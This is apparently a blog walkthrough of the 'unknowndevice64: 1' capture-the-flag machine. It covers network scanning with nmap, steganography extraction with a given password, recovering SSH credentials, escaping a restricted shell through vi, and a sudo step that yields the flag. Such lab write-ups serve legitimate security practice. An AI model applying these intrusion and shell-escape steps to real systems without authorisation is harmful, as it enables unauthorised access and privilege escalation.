Unknowndevice : 1

Lab Environment


Attacker's Machine - Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2 (2017-11-08) x86_64 GNU/Linux


Vulnerable Machine - unknowndevice64: 1

Proof Of Concept


Scanning Phase
  • Route -n (to know the gateway) i.e 192.168.1.1
  • arp-scan --local (to scan for the machines connected to the network)
  • vulnerable machine IP - 192.168.1.9


Now I will use nmap for the further enumeration of services active on ports
Syntax used : nmap -A -p- 192.168.1.9 -Pn





Here , I found name of image file




Syntax used : steghide extract -sf filename
Password : h1dd3n




This is the time where I read h1dd3n.txt file and found brainfuck encryption.




Tried those credentials with ssh and got user privilege shell




After login we tried ls but command not found so we checked the PATH variable and found the path as /home/ud64/prog
Syntax used : $PATH
So i just used echo to know the all  executables inside ,if any
Syntax used : echo /home/ud64/prog/*
Explanation : * defines all
Results : /home/ud64/prog/vi
So we can run vi and escape the restricted shell by spawning it






So now just run vi by typing vi in terminal and cli will be opened and then spawned /bin/bash
By typing following in interface :!/bin/bash and press enter to exit the current interface


Now exporting /bin/bash to SHELL environment variable  and /usr/bin to PATH environment variable
Syntax used : export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
Now  just used sudo command with a lil bit of help command
NOTE: sysud64 -h


LL

GOT THE FLAG FINALLY!!





Popular posts from this blog

Calculat3 M3 | CTF Learn

TryHackme: Blue Walkthrough

CTF - Dina : 1.0.1 walkthrough